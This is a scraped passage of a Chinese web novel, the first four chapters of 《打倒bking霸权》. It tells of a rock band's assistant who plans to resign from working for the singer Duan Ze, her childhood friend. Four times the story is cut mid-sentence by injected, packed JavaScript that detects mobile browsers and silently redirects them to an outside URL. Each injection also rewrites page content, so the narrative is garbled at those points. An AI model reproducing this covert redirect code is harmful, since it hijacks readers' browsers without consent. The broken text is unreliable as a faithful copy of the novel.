《打倒bking霸权》 1. 第 1 章 “学姐,明晚有空看演出吗,顺便把你上次想借的相机带给你。” “赵哥,明晚有空看演出吗,凭票根可以来我这里领啤酒。” “莹莹,明晚有空看演出吗,ppt回头我帮你做。” …… 把通讯录里的人“骚丨扰”了个七七八八后,翌日傍晚,江绪春惴惴不安地站在livehouse门口。 她一直守到演出开场半小时后,确定再不会有人来了,才背着一书包用来“贿赂”的小礼物进了场馆。 这里是泓州市面积较小的一个livehouse,拢共只能容纳三四百人。 然而在这稀稀落落四十多人的衬托下,场馆看起来未免过分空阔。 这之中,有人在和身边好友专心聊天,有人正低头看手机,还有人转身都打算走了,和刚进来的江绪春撞一照面,又尬笑着退回去。 江绪春点头回了他一个微笑,在角落站定,仰头看向舞台。 追光灯太亮了,蒸腾起一阵白雾,她看不清台上人的面庞,只能看见那瘦高一道身影伫立其中,背脊永远笔挺。 场馆自带的音响质量不算好,他的声音听起来“沙沙”的,好似老唱片的质感,在空阔的场馆内悠然回荡。 江绪春悠悠叹出一口气,扭头看向安全出口的绿色指示灯。 上面的小人忽而越来越大,越来越亮,直到绿光充斥整个视野,她猝然惊醒。 后台过于刺眼的白炽灯,让她捂着眼睛眯了好一会儿,才缓缓睁开。 监视器内,小小的木制舞台变成了宽广的三面台,当初的四十多名观众,已经整整翻了两百倍。 这是陆鲨乐队第一次全国体育馆巡演,自泓州出发,走遍各大城市后,又回到泓州——这个梦开始的地方,办了一场安可。 “醒了?”经纪人向镭笑着看她一眼。 “嗯,镭姐。”江绪春摇晃着坐直身子,接过她递来的冰水。 前年,陆鲨和经纪公司签约,也就此拥有了第一位经纪人。不过向镭主要负责商务,日常杂事仍由江绪春一手操持。 好在乐队走上正轨后,每场演出的灯光、调音、化妆等都有专人负责,江绪春不用像从前那般身兼数职,除了通告变多,在全国飞来飞去,整体还是比从前轻松些。 “放假你打算做什么?”向镭问。 这是一早决定好的,巡演结束,乐队会放大概三个月的假,好好休整一番。 “回家陪父母吧。”江绪春说,“你呢?” “我怕是放不了假,公司还有事。” 也是,毕竟向镭手里不止陆鲨一支乐队。 闲聊间,演出行近尾声。 这已经是第三次安可了,不出意外也是最后一次。台下的歌迷仍不舍地高呼着,希望能把片刻变成永恒。 江绪春定定地看着监视器,思绪却不时飘忽回数年前的那个livehouse。 那次演出结束,乐队几人还是举办了一场名义上的“庆功宴”,可没一个人脸上带着笑容,都在喝闷酒。 聚会散场,江绪春陪着醉到不行的段则回学校。 他歪斜着身子,整个人几乎挂在她身上,哼着一支酒气熏天的生日歌。 “谁过生日?”江绪春问他。 段则一怔,嘴里的调一转,又变成一首《小星星》。 那个夜晚没有星星,江绪春的肩膀都快被他压塌了,但还是紧咬牙关,一步一步拖着他走。 走过昏暗的街道,走过籍籍无名的漫长岁月,走到乐队里的成员都换了两位,终于从livehouse一路走进了体育馆。 此际回想好像做梦,而彼时的他们,连这样的梦都不敢做。 那晚江绪春一边拖着他,一边看着路边老化闪烁的路灯,觉得他们的前途好像也是如此,燃尽最后一点气力后,不知道哪一刻就会彻底熄灭。 第二天,段则约她单独吃了顿饭。 宿醉后的他眼睛有些肿,戴了副浅棕色镜片的墨镜。在棒球帽没能遮住的后颈,露出一溜没拉直的小卷毛。 一张脸挡了大半,也拦不住服务员小姑娘悄悄要他联系方式。 江绪春有时候觉得,吸引一个人的比起外貌,更重要的可能是一种感觉。 偏偏段则就是最会把握那种感觉的人。 就算挡住脸,举手投足那股子装腔的劲儿,也会让人产生一种他好像很帅的错觉。 再一看脸—— 靠,不是错觉。 很可惜,江绪春一早对这种“感觉”免疫了。 可能因为段则对她根本不装,完全袒露本性,于是再看他在人前的装腔样,她只想笑。 一番花言巧语哄走服务员小姑娘后,段则正了正色:“我打算再开一场演出。” 江绪春拿着筷子的手一顿,平静地应道:“好啊。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202896|197267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第一家livehouse的负责人见他们又找上门来,跟见了瘟神似的,脸上都挂不住笑,嘴上还算客气,委婉拒绝了他们再度合作的请求。 没辙,两人只能在市内又搜寻一番,连着跑了好几家,终于定下一家稍微贵些的。 走出场馆,段则看她一眼:“谢了,小鸭。” 江绪春仰头看着他,莫名的,觉得什么“不用”“没事”之类的回复都太无聊了。 于是她眨眨眼,“嘎”了一声。 周围没人,段则可以尽情笑到前仰后合。 最后,他单手揽过她肩膀,用力晃了她两下:“你怎么这么可爱。” 江绪春敷衍地扬了下嘴角。 其实那时候她很焦虑,一场演出办下来要小一万,就算不用她花钱,看着朋友为这种前途未卜的事砸钱,她还是不免焦心。 但是她不能说,那只会徒增烦恼。 人话说不了,只能来点鸭语了。 关于“小鸭”这个称呼,说来还是她自己给自己挖的坑。 两人初识时,托他模特妈妈的福,才上幼儿园的段则,打扮得比谁都要漂亮帅气,活脱脱一个贵族小少爷。 而江绪春还是个热爱玩泥巴的小土妞,看他这副光鲜亮丽的模样,不由得想起听过的童话故事,一口一个“白天鹅”喊他。 段则倒也不谦虚,毫不犹豫接受了这个称呼,皱着一张小脸开始回忆这个童话故事,茫然地回她一句“丑小鸭”。 可能是段则的语气里没有嘲讽的味道,也可能是江绪春心大,竟没觉得有什么不妥。 又或许是因为,她确实也认为自己不太好看。 眼鼻嘴挑不出什么大毛病,但就是土,又有些肉乎乎。因为贪玩,还没什么防晒意识,皮肤黄黑黄黑的。 大概上了高中,她整个人抽了条,褪去了婴儿肥。学业繁忙,她每天闷在屋檐下,终于捂回了原本的白皙肤色。 但那种自卑的心态是难以改变的,于是在最好的少女时期,她都没留下多少照片。直到拿高中和初中的毕业照做对比时,她才发现自己变化有多大。 不说从丑小鸭蜕变成了白天鹅,起码也是一只好看的小白鸭。 而段则又是什么时候摘掉那个“丑”字,改叫她“小鸭”的? 江绪春隐隐回忆起,好像是从初一开始。 在那个,她自认为还是丑小鸭的时候。 2. 第 2 章 大四毕业那年,江绪春站在人生的十字路口,不知该通往哪个方向时,接到了段则的电话。 “小鸭,要不要来当我的助理。” 一切都很随意,合同都没有一张,她就陪着前途未知的段则一道踏上了逐梦之路。 回首过去,江绪春不后悔自己的选择,现实也证明,一切的结果还不赖。 只是此刻,她觉得自己好像又站在了一个新的十字路口。 而这次,她打算分道扬镳了。 - 休息室的门被“吱呀”推开,四个满身疲惫的人鱼贯涌入。 段则是最后一位,他累到步伐虚浮,但还是先去角落把最宝贝的吉他放好,才躬身去茶几上捞瓶水,一边拧瓶盖一边往里走,衣角的飘带在半空轻浮地游动着。 他进来得最晚,留给他的只剩最角落的位置。段则侧身倚着沙发,一口接一口地灌水,累到眼皮都懒得掀开,只有手腕和喉结在机械运作着。 持续了小半年的巡演终于完美收官,庆功宴肯定是要有的。一行人休息了不到一刻钟,又开始紧锣密鼓地换衣服、收拾东西,预备往餐厅赶。 众人的东西江绪春已经提前帮忙收拾好,大家一提包就能走。剩下的就是些杂物,她麻利地动作着,尽可能还给人一个干净整洁的休息室。 提上垃圾准备走的时候,江绪春才发现段则还没离开,仍坐在原位,静静看着她。 他的眼睛偏大,瞳仁又圆又黑,按理看着会很人畜无害。偏生他眼皮薄,还是个内双,天然削弱了那份无辜。像豹子,像狮子,像一切嗜血的猫科动物。 大部分时候,他的眼里没什么情绪,甚至有些冷漠。 但和人面对面时,他会礼貌地带一点笑意,于是那面庞瞬间温暖起来。 而此刻他没有笑。 那种客套的笑只是他的社交手段,在江绪春面前并不需要。 “不走么?”江绪春习惯了他的冷脸,平静地问道。 段则“嗯”了一声,聊作回应。 江绪春将原本单肩背着的背包改作双肩,放下手里的垃圾袋,走上前朝他伸出手。 段则顺势握住她的手。 但他没借力站起,也不知是他懒,还是真的累到了。江绪春心下无奈,另一只手抓着他胳膊,一个后撤步,拔萝卜一样给他拔了起来。 段则摇摇晃晃地站定,伸出胳膊一把揽住她,整个人半靠在她肩上。 江绪春深深叹了一口气。 这个人对自己的身量好像没有一个准确的判断,一米八七的大高个儿,就算身形偏瘦,体重也轻不到哪去。 偏偏他总喜欢这么靠着她,倚着她,就跟没长骨头似的。 江绪春抬手推了他一把:“等下,我拿个垃圾。” 段则长胳膊一捞,自己提上了那袋垃圾,朝门口一扬下巴,意为“走吧”。 他们离开得太晚,走廊上已空无一人。 江绪春扣住他搭在肩上的手,吭哧吭哧往前走,恍惚间想起那条无人的夜半长街,她也是这样,扶着醉酒的段则走啊走。 她觉得段则还是挺厉害的,如果她经历了那么一场失败的演出,一定羞愤到就此退出这行。 但段则很有毅力,或者说很犟,他想做什么就会去做,还一定要做出名堂来。 江绪春被迫加入了他的逐梦之路,她没有什么梦想,只不过是他当初给的薪资还算可观,拿钱办事。 “段则。”她喊他。 “嗯?” 江绪春张了张嘴,欲言又止,最终道:“转弯。” 转过一个弯,一辆亮灯的mpv静静停在门口。 签了公司还是有好处的,比如这辆能装下所有人的mpv。 五个人其实是个很尴尬的数字,除开驾驶座,一辆普通轿车根本坐不下。 在经费紧缩的那些年,是绝对舍不得再打一辆车的,于是总得有个人被抛下,自己坐地铁或者骑共享单车。 江绪春很自然地接受了自己是被抛下那个,毕竟她是助理,辛苦一点很正常。 其他三人也默认了这一点,但段则不同意,说得要公平,每个人轮流被抛下。 于是当年常常出现这种情况,每次大部队抵达现场时,乐队里总少一个人。 甚至有一次,键盘手迷了路,最后直接三个人上场。 后来段则宁愿给主办赔钱道歉,也不肯改掉这个规定。 他是主唱、吉他手兼主创和队长,一堆头衔傍身,独丨裁起来谁也拿他没辙。 现在显然没有这个烦恼了,经纪人坐在副驾,另三人坐在最后一排,把中间的位置留给了他俩。 一上车,江绪春忍不住揉揉自己的肩膀。 余光里,她觉得有人在盯着自己,头一扭,是段则在对她笑。 “笑屁。”她不留情地怼他。 段则敛起笑意,伸出一只手来,帮她揉着肩膀。 司机灵活地从小路开向侧门,谁料那帮歌迷如此神通广大,一早乌泱泱守在了侧门。 窗外是亮如白昼的闪光灯,江绪春娴熟地双手抱头,像只虾米一样躬下身。 虽然歌迷早已熟知她的存在,但他们很过分,每次只给乐队成员修图,留着素面朝天的她在旁,惨兮兮地成了陪衬。 歌迷们守了这么久也不容易,哪怕不合规,众人还是降下车窗,向他们打招呼。 尖叫声和快门声在耳畔此起彼伏,江绪春趴在膝上,稍稍扭头去看。段则对着闪光灯眼都不眨一下,从点头的幅度到微笑的弧度,全部经过了私下精密的计算和练习。 他的目光会尽量扫过每一个镜头,好让他们留下一张值得炫耀的“对视照”。 礼物一早被禁止,但信还是能收的,有个歌迷站在后排,怎么都挤不上前,着急地直接将信飞了出去。 信飞到一半,一个抛物线眼看要落地,段则眼疾手快,伸长胳膊一把将信自半空中截住。 周围响起一阵尖叫,江绪春知道,今晚这帅气的截信动作又要上热搜了。 纳闷了,为什么他做这些动作从不会失手? 堵了快一刻钟后,在保安的强行开道下,mpv才成功驶向大道。 车窗缓缓升起,江绪春也终于能坐直身子。 段则正在理信,他有着小小的强迫症,习惯将信按大小依次码好。 末了,他将一沓信放进了备用的公文包里。 这些信他都会看,偶尔,他也会用歌曲回信。 不过前段时间,他有和江绪春说,近两年的信和以前不太一样,都没什么人和他聊歌了。 出于习惯,他还是会一封封读完,然后越读越觉得有点儿孤单。 “你发一条早餐都有几万个人评论你,怎样才能不孤单?”江绪春怼他。 “你没评论我啊。”他答得云淡风轻。 江绪春皱了皱眉,当下拿出手机点开微博,在他前天发的一条早餐微博下,评论了一句“一般”。 见状,段则也拿出手机开始鼓捣。 少顷,他拍了拍她。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202897|197267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>江绪春扭头,就看他当着自己的面,点开她刚刚那条回复,按下了删除键。 江绪春:“你什么意思?” “我觉得它挺好吃的。” “好歹也算个公众人物,一点点反对意见都接受不了?” “你的不行。” “……我再评论你一条我是狗。” “知道了,小鸭狗。” 这人有时候说话挺欠揍的。 但在歌迷面前,他永远是宽容的、理性的,面对恶评也不卑不亢有理有据。 怎么对她就只知道无理取闹? 江绪春真怕自己哪天急了,怒而揭示他的真面目,结果因为他平日伪装太好,到最后都没人相信她。 Mpv缓缓停在了停车场内。 在侍者的引领下,一行人由后门进了餐厅包厢。 在做这一行前,江绪春从没想到有这么多隐蔽的后门。 灯光、调音、vj、摄影还有化妆等人已经提前抵达落座,偌大的包厢,众人浩浩荡荡围了一桌。 段则好像真的累到了,全程兴趣缺缺,酒也没喝几口,大部分时候在发呆。 其他三位倒是颇有兴致,在那里畅想乐队更为光明广阔的未来,吆喝着和工作人员划拳。江绪春和向镭坐在一起,喝着两人单独点的果酒。 “你之前是怎么忍着和他们待下来的?”虽然接手陆鲨也有两年多,但这样的聚餐时刻很少,向镭见那三人的疯样,不由得感慨道。 “咬牙。”江绪春和她碰了个杯,“还好你来了。” 向镭笑笑,拿起酒杯,两个女人仰头饮尽半杯酒。 其实最开始,作为这个团队里唯一的女人,江绪春确实不太自在。 众人偶尔会和她开些没分寸的玩笑,数那个已经离队的鼓手尤甚。后来,也不知道段则和他们立了什么规矩,众人和她忽而相敬如宾起来。 因此和他们待在一起时,除了吵一点,倒没什么大问题。 一场闹哄哄的庆功宴结束,一行人在门口兵分几路,各自打车离开。 江绪春和段则坐上了同一辆车,前年,段则在泓州买了套房子,一梯两户的格局,他干脆把同楼层另一户租了下来,给她当员工宿舍。 “叮”一声,电梯门开。 东西有些多,段则一个人拎不来,江绪春便帮他一起拎回家。 出于工作原因,江绪春在他家待的时间,可能要比在自己家还要多些。 她轻车熟路地解锁指纹锁,帮他把东西挨个归位—— 两把吉他放回工作室,信件放在书房的书柜上,演出服分成两份,能下水的直接放进洗衣机,剩下的留着明天送去干洗。 忙完这一切,江绪春回到客厅。 客厅内很安静,段则正瘫坐在沙发上,没开电视,也没看手机。 在人前,大部分时候他都身形笔挺。有歌迷盛赞他不愧是从小学拉丁舞的,虽然江绪春知道,事实上他只在少年宫上过一年兴趣班。 这副子颓靡的样子,也就她能见到了。 毕竟是末场,段则几乎不停歇地连弹带唱三个多小时,多累都能理解。 江绪春在原地站定几秒,走上前去,静静在他身边落座。 段则连头都懒得转,只动了下眼珠子看向她。 “恭喜你顺利结束巡演。”江绪春开口道。 “谢谢。” 空气静得让人心忧。 江绪春绞着衣角,在他疲惫而平静的目光中开口道:“我打算辞职了。” 3. 第 3 章 段则眨了下眼睛。 在这种时候,多一点情绪都让他很疲累。 “反正巡演已经结束了,这三个月休假期,应该足够你找到一个合适的新助理……” “为什么?”段则打断了她。 “因为,我想体验一下别的工作。” “比如呢?” 江绪春忽而哑口。 段则耐心等了半分钟,再度开口道:“你对这份工作有什么不满意吗?” 依然是一个江绪春难以回答的问题。 平心而论,这份工作很好。 虽然有些累,但她喜欢这种充实,也喜欢全国各地跑来跑去的感觉。 更重要的是,薪资很不赖。 要到后来,江绪春和别人的助理闲聊时才知道,不少光鲜亮丽的大明星,他们的助理工资只有一月几千。 而段则一开始给她的,就是一份无责底薪加分成的薪资结构。除了基本工资,每场演出结束,他都会分出个人的20%收入给她。 虽然后来签了公司,公司也要分成,但段则仍按照公司分成前的收入,把自己的20%给她。 当然,作为创作者,段则还有不菲的版权收入。 去年,他写了首歌,里面化用了她之前随口说的一句话,他便把她登记成了歌词二作,最后干脆把整首歌的版权都给了她。 总之,江绪春毫不怀疑,自己不会遇到比段则更慷慨的老板。 只是此刻,有些问题好像是钱也无法解决的。 “所以,你既没找好出路,也没想好离职理由,就打算辞职?”段则说。 “……嗯。” “没有合适理由前,我不同意。” “可是……” “我今天真的很累。”段则站起身来,“明天再说,好吗?” 他的“好吗”比起征询意见,更像是在下逐客令。 这确实不是一个合适的时机,江绪春点点头:“好。” 得到回应,段则起身走向卧室,阖上了门。 想辞职并非心血来潮,而是巡演前就有的打算。 但毕竟是陆鲨第一次体育馆巡演,意义非凡,工作量也陡增,在这种时候,她当然不能掉链子。 好不容易顺利等到巡演结束,她发现自己想离职的心一点没减淡。 可是,要找个什么合适的理由呢? 至少那真正的理由,无论如何不能说出口。 这晚江绪春睡得不太好,凌晨两点才睡去,六点就猝然清醒,再难以入睡。 天气转冷,日出也愈来愈迟,她坐在阳台上,静静看完了整场日出。泓州多山,太阳从山间升起,逐渐燃亮半边天。 意外的,江绪春的心情很平静,没有欣喜,没有感慨,只是确定天色一时半会不会再变后,转身回屋洗漱做早饭。 太早了,忙完这一切也才七点出头。 江绪春百无聊赖地按下cd机播放键,段则声音出现的那刻,她怔了怔,正准备换碟,想想还是作罢。 她转身窝在沙发上,听着段则的歌声在稍显空阔的客厅回荡,这首的调性很温和,半念半唱,像耳畔絮语。 坦白来说,江绪春对摇滚乐兴趣不大,更喜欢甜甜的芭乐情歌。 但她喜欢听段则唱歌,唱摇滚,唱流行,唱民谣……她都喜欢。 段则有一把好嗓子,音调低沉却不致沙哑,音色圆润又不显油滑,完美掩盖了他唱功方面的缺点。 相对传统音乐人来说,他的唱功确实算不上上乘。好在国内摇滚对唱功要求不高,大白嗓也能吼两句,实在唱不了用喊的也行,唱破音了那就更摇滚了。 江绪春迷迷糊糊地在他的歌声里睡了个回笼觉,又被他一嗓子吼醒,她头疼地揉揉太阳穴,觉得一张专里风格统一这件事还是很重要的。 看了眼时间已逾九点,江绪春重新拾掇了一下自己,又稍微等了等。 甭管他昨晚多累睡多晚,十点应该不算打扰了吧? 时间一到,江绪春起身出门,没两步,看见走廊另一头的门开了。 彼此四目相对,段则上下扫她一眼:“出门?” “你要去哪吗?”江绪春反问道。 “去接‘小狗’回家。” “哦,那你去吧。” “你不和我一起?” 电梯到了,段则没急着进,扭头看向她。 好像也没什么事干,江绪春想想,伸手挡住即将阖上的电梯门,先一步走进电梯。 她站在角落,余光里满是段则顶天立地的身影。他穿着件吊了一堆鸡零狗碎的飞行夹克,头上一顶冷帽,小卷毛在后颈露出端倪。 绝大部分时刻,私下出门的段则都会戴一顶帽子。 因为他有一头自然卷,总去拉直太伤头发,重要场合他会用直板夹夹一夹,像这种不重要的,还是一顶帽子比较省事。 江绪春看过很多次他刚睡醒顶一头稻草的样子,但她也没觉得有多难看,毕竟脸放在这里,光头都好看。 “卷发也很好看啊。”某天她说,“好多人还特地去烫卷呢。” 段则正躬身对着镜子,一绺一绺地用直板夹夹头发,闻言他匆匆瞥她一眼:“不好看。” “……” 可能是受他模特母亲的影响,段则有着严重的外貌焦虑。 但他这种焦虑只针对自己,其他人在他眼里都是好看的。雀斑是美的,单眼皮是美的,塌鼻梁是美的,所有大众眼里可能不够漂亮的特点,他都能发掘出之中的美。 可他偏偏看不出自己的美。 “叮”一声,电梯门开了。 段则回头看她一眼,确定她有跟上后,才迈步出电梯。 车位上静静停着两辆车,一辆几乎不开的银灰色m4,和一辆黑色xc90。 至于为什么不开还买,那当然是因为作为一个很酷的摇滚歌手,得有一辆帅一点的车傍身。 江绪春时常觉得,那些消费主义的广告全是为他定向投放。 今天那辆轿跑也在吃灰,suv在车流中平稳行进着,很快抵达了宠物店。 早在他停车时,店主便已经抱着“小狗”,热情地迎出门来。 彼此寒暄几句,段则抱着“小狗”回到车上,眷念地撸了好一会儿,才将“小狗”递给江绪春,重新开车上路。 “小狗”这段时间看样子过得不错,皮毛油光水滑,换到她怀里后,打了个滚,舒服地“喵”了一声。 是的,“小狗”是只猫。 这是两人很多年前在路上偶遇的流浪猫,毛发虬结瘦骨嶙峋,拖着一条结痂的断腿,艰难地行走在车来车往的马路上。 眼见一辆车驶来,段则眼疾手快,一把将它捞进怀里。 小猫害怕得直叫,可惜太过虚弱,声如蚊蚋。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202898|197267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他一路将它抱进路边的草丛里,没走两步,忽而回过头去。 又走两步,又一回头。 第三次回头时,江绪春心知肚明:“你想养它啊?” 段则没说话,仍盯着那处看。 小猫在比它还高的草里艰难蠕动着,一步一踉跄。 “那就……”江绪春话说一半,盯着他的眼睛有一瞬晃神,“你哭啦?” 段则一个反手捂住她的眼,大步走向小猫,留给她一个非常坚强的背影。 虽然歌迷常常用“冷峻”“孤傲”形容舞台上的他,但私下里,段则还蛮常红眼。 比如之前养了半年的多肉枯死了,比如哪个追了很久的歌迷脱粉了,比如看她生病了,又比如刚刚。 他的眼泪总是蓄在眼眶里,不会真的哭出来,但是眼睛湿漉漉红通通的样子,常常让江绪春有些晃神。 最终,那只小猫还是被他领回家了。 那时候,乐队刚经历第一次重组,每次演出仍要贴钱。段则算不上什么富二代,充其量小康向上,家里虽然半是散养他,但也不会无限包容他追求这种虚无的梦想。 他租了间狭小的自建房,打三份零工,还做了个“挑战500元活一个月”的自媒体账号,虽然因为不好意思露脸,最后热度平平,只有一个马桶清洁剂的商家找他推广,他想来想去给推了。 小猫送去医院一检查,直接干掉了两个月生活费。 “这个支出你不拍吗?”江绪春问。 “不拍,拍了不就挑战失败了。” “……” 果然网上都是假的。 好在小猫除了断了一节腿,整体还算健康。吃饱喝足又洗了个澡,瞬间活力满满。 “想好给它起什么名字了吗?”江绪春问。 段则盯着它看了一会儿:“这么活泼好动的,就叫‘小狗’吧。” “……人家是猫。” 段则扭头看向她:“你一个人能叫‘小鸭’,它凭什么不能叫‘小狗’?” “……行,随你,叫它‘小猪’都行。” “等它长胖了我考虑考虑吧。” “……” 江绪春常常觉得,这个人脑子有病。 可能搞艺术的,多少都有点精神不正常。 段则就这样,抱着这只叫“小狗”的小猫回了家。 为了乐队,他一早把大学那辆十几万的代步车都卖了。因而还是江绪春骑着自己的电瓶车,一路载他回去。 她陪他上了楼,坐下喝口水,顺带和小狗玩一会儿。 自建房的顶灯还用着古早的灯泡,之前是昏暗的黄光,被他换成了高瓦数的led灯,看着还算亮堂。 “咔哒”,开灯的方式也很古早,拉绳即开。 段则弯下腰,将小狗放在地上。 “欢迎回家,我可能给不了你很好的生活,但我绝不会让你挨饿受冻。” 江绪春坐在沙发上,定定看着他的侧脸。 此刻的他,有点像那种哄骗姑娘陪自己过苦日子的男人,除了甜言蜜语什么都没有。 可是,偏偏他长了一张教人盲目的脸,在他身边,苦日子都能甘之如饴。 江绪春摇摇头,还好那只是一只猫。 头摇一半,她忽而顿住。 那此刻放弃应届生身份,和他一起做白日梦的自己,又算什么呢? 4. 第 4 章 前段时间忙巡演,全中国飞来飞去,段则就把小狗寄养去了宠物店。 小狗还是比较幸运的,从那间破破烂烂的出租屋,到现在拥有了属于自己的一间小卧室。 当然,从被段则掳走那刻起,它就没什么选择权。 能走到这一步,完全是命。 而如果是有选择权的人,无论结果为何,那只能算是自找的。 可能名字冥冥中真的代表了什么,小狗确实比一般的猫都要欢脱。瘸了一条腿也不影响它跑酷,刚被放下地,就跌跌撞撞地冲进它自己的房间,迫不及待地去玩玩具。 江绪春上前在沙发上落座,一副“有话要说”的表情。 “我早饭还没吃。”段则正在开放式厨房前忙活着,回身向她晃了晃手里的土司,“给你热一份?” “不用了,我吃过了。” “哦。” 段则也没客气,那不是他们之间的相处之道。 他当真自顾自在厨房忙活起来,动作有条不紊。他做什么事都有自己的一套sop,江绪春已经看了不下一百遍他做三明治的流程,无一例外都是先启动咖啡机,再将土司放进土司机,然后煎鸡蛋。 他所有厨具也按这个顺序放好,从左到右执行一遍,最后去最右边的冰箱取一片洗好的生菜,再从右到左捋一遍,就能给自己端上一份咖啡配三明治,动线堪称完美。 江绪春其实还蛮意外,她一直以为搞艺术的都比较随性。 不过刻板强迫到这个地步,某种程度上也算一种极端,极端确实很容易出艺术家和疯子。 做完这一切,段则直接在旁边的岛台开吃。 看他慢条斯理品咖啡的样子,好像没意识到江绪春现在有话要说。 江绪春忍不了,三两步走上前,在他对面落座。 段则倒也没说什么,起身给她倒了杯牛奶。 她知道,他不习惯明明两个人面对面,却只有他一个人在吃东西。 “关于昨晚的事,”江绪春开门见山,“你现在方便聊聊吗?” 段则举起手里的三明治,一脸“你说呢”。 见她没反应,他将三明治放回盘中:“找到理由了?” “嗯,因为我觉得这个行业没有前途。” “是吗?”段则抬眼看向她,小卷毛挡住了半边眼,“签约公司前,已经让你逐步接触了一些商务,你以后大可以往经纪人的方向走,接替向镭的位置。我之前也说过,合约到期后我打算开个工作室,你可以全权接手。还是说,你只是觉得陆鲨没前途?” 好烦……昨晚想得还是不够全面,又被段则给问住了。 江绪春闷闷不乐地喝了一口牛奶。 “那你离职后,打算干什么有前途的行业?”眼看她是不会回答这个问题了,段则又问。 江绪春本科学的是汉语言,学这个纯粹因为她语文成绩还行,当时也没仔细了解,稀里糊涂就报名了。 如今,当年的同学们不少都转了行,剩下专业对口的,不是在当语文老师,就是已经考公上岸。 这两个乍听都很好,但好像又都不是她真正想要的。 段则盯着她愁眉苦脸的样子看了好一会儿。 “这样吧,小鸭。”他说,“你这些年辛苦了,趁着陆鲨放假,你也给自己放个假,三个月,这段时间工资照给,三个月后你还打算辞职,我不会阻拦你。” 好像是一个很好的提议。 三个月,足够她思考自己的未来,不管是职业方向,还是她和段则的关系。 “好。”她说。 事情商议完毕,段则用自己的咖啡杯碰了下她的牛奶杯,专心致志继续吃他的三明治。 牛奶还剩大半杯,江绪春一口接一口喝快了些。 “就这么不想和我坐一桌?”段则的声音幽幽传来。 “没有啊。”江绪春放低杯子,“我有点渴。” 段则一扬眉,她顿感大事不妙。 果然,他起身从冰箱拿出一盒牛奶,给她好不容易喝空大半的杯子又满上了。 江绪春看着满满一杯牛奶思考片刻。 最终,她放弃了被牛奶撑死,起身离席:“我不喝了。” “浪费。”她听见段则对着她的背影说。 江绪春没搭理,起身去沙发上拿自己的包,预备离开时一回头,看见段则正把咖啡倒进那杯牛奶,凑了杯拿铁咖啡出来。 “我走了。”临别的基本礼貌还是要有的。 段则抬起头,岛台距离玄关有些远,他不得不提高嗓音:“那你还来吗?” “有事吗?” “没事不能来吗?” 江绪春思考片刻,没正面回应他:“有事喊我。” 语罢,她推门离开。 和老板住对门,确实大大缩减了通勤时间。 但另一种意义上,也代表她让渡了自己的私人空间。 比如现在,虽然屋子里空无一人,门也关得好好的,但一想到段则就在十几米开外,她便没法真的静心思考自己的未来。 除了大四那份潦草的实习,一毕业她便成了段则的助理,他给她营造了一处天然的避风港。 所有事务都是他自己先学会再教她,与人工作对接方面有矛盾时,都是他顶在前面,总之初期那段时间,遇事不决喊段则,他总能解决。 好处自不必多说,坏处也有,那便是时至今日,没有经历多少磨练的江绪春,对迈出第一步产生了畏惧。 不会再有这么好的薪资,不会再有这么好的上司,不会再有这么好的同事。 江绪春烦躁地刷着手机,随便点开一个app,大数据已经用无数个段则填满了她的屏幕。 歌迷们祝贺巡演收官,记录看con体会,当然也有昨晚接车时他帅气利落的接信动作,各个角度全方位拍摄,配上bgm再变速,最高一个近百万赞。 下面的最高赞评论是这样的: “bking日常罢了。” 陆鲨初有起色时,这个词便牢牢和段则绑定在一起。 可能因为他确 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202899|197267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实很装,并且装得很成功,还很帅。 早在五岁那年,当看到段则被一群小男孩围殴,打到破皮流血都没哭的时候,在她小小的内心里,潜意识便觉得这个人不一般。 小江绪春见义勇为,以树枝为剑,佐以不怕死的勇气,以及确实比较强壮的身躯,一举把三个小坏蛋都赶走了。 事成回头,刚刚还咬着唇板着脸的小男孩,突然坐地上“哇”就哭了。 原来他刚刚的坚强都是装的啊。 为什么在自己面前就不装了呢? 小江绪春的脑袋瓜还不足以处理这么复杂的问题,她一屁股也坐在他面前,茫然地看着他。 小男孩酣畅淋漓地哭了好一会儿,江绪春一句安慰没有,只知道盯着人看。 